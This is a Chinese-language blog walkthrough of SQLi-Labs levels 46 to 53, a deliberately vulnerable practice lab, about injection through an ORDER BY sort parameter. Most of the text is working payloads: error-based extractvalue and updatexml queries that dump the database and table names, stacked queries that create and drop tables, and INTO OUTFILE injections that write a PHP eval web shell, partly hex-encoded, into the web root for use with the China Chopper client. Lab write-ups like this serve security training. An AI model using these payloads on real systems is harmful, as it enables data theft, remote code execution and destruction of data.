SQLi-Labs:Less46-Less53

知识补充:

SQL语句中,asc是指定列按升序排列,desc则 是指定列按降序排列。
select * from users order by 1 desc; 使用降序进行排列
select * from users order by1 asc;使用升序进行排列
right()  :select right(database(),1);
Left()   :select left(database(),1);
lines terminated by xxx 以xxx为结尾:
select '<?php @eval($_ POST[crow]);?>' into outfile 'C:pbpstudyPHPTutorilWWW.crow.pb'lines terminated by 0x363636;   最后写好的文件会以666结尾

Less 46

本关sql语句:$sql = "SELECT * FROM users ORDER BY $id";

 在mysql中 order by 参数后可以加入升序和降序来改变排列顺序

?sort=1 asc

 ?sort=1 desc

 ?sort=username asc

可以采用报错注入extractvalue()

?sort=1 and extractvalue(1,concat(0x7e,database()))

 updatexml()也可以

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)

 还可以采用延时注入,但是当可以执行sleep(5)的时候,延迟会比5秒长很多,但还是可以用的只是时间略长


Less 47

操作与46关一致,只是需要单引号闭合

?sort=1' and extractvalue(1,concat(0x7e,database()))--+


Less 48

页面不报错无法采用报错注入,所以采用时间盲注,这一关不需要闭合


 Less 49

与48关一致,均不报错,但是这一关需要单引号闭合


 补充46关到49关其他注入方式,可以采用一句话木马再使用中国菜刀

以46关为例

首先使用outfile函数:

?sort=1 and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs-master\Less-46\mm.php' --+

 

我们可以看到文件有了,但是缺少一句话木马,所以我们现在需要可以使用文章开头提到的line terminal by 语句进行输入:(注意:最后是一句话16进制形式)

?sort=1 into outfile 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs-master\Less-46\jyx.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b63726f775d293b3f3e

 

 这样输出的每一行都写入了一句话木马,我们就可以用菜刀进行连接


Less 50

这一关卡名字最后是stacked injection,所以我们先尝试之前关卡涉及到的堆叠注入

建表

?sort=1;create table jyx like users;

 

 插值

?sort=1;insert into  jyx values('9012','r1se','bjyx');

 

 删值

?sort=1;delete from  jyx where id=9012;

 删表

?sort=1;drop table  jyx;

 这一关卡不需要闭合,我们采取报错注入,时间盲注,写入一句话木马(也可以堆叠注入一句话木马)也可以,这里就不再演示了~~~


Less 51

单引号闭合,其他均与上一关一致


Less 52

这一关不需要闭合,但是页面不报错,所以不能采用报错注入,只能利用时间盲注,写入一句话木马或者堆叠注入一句话木马,建表之类的操作


Less 53

单引号闭合,其他均与上一关一致

这一篇博客也就到这里啦~~~

原文地址:https://www.cnblogs.com/ApricityJ/p/13231069.html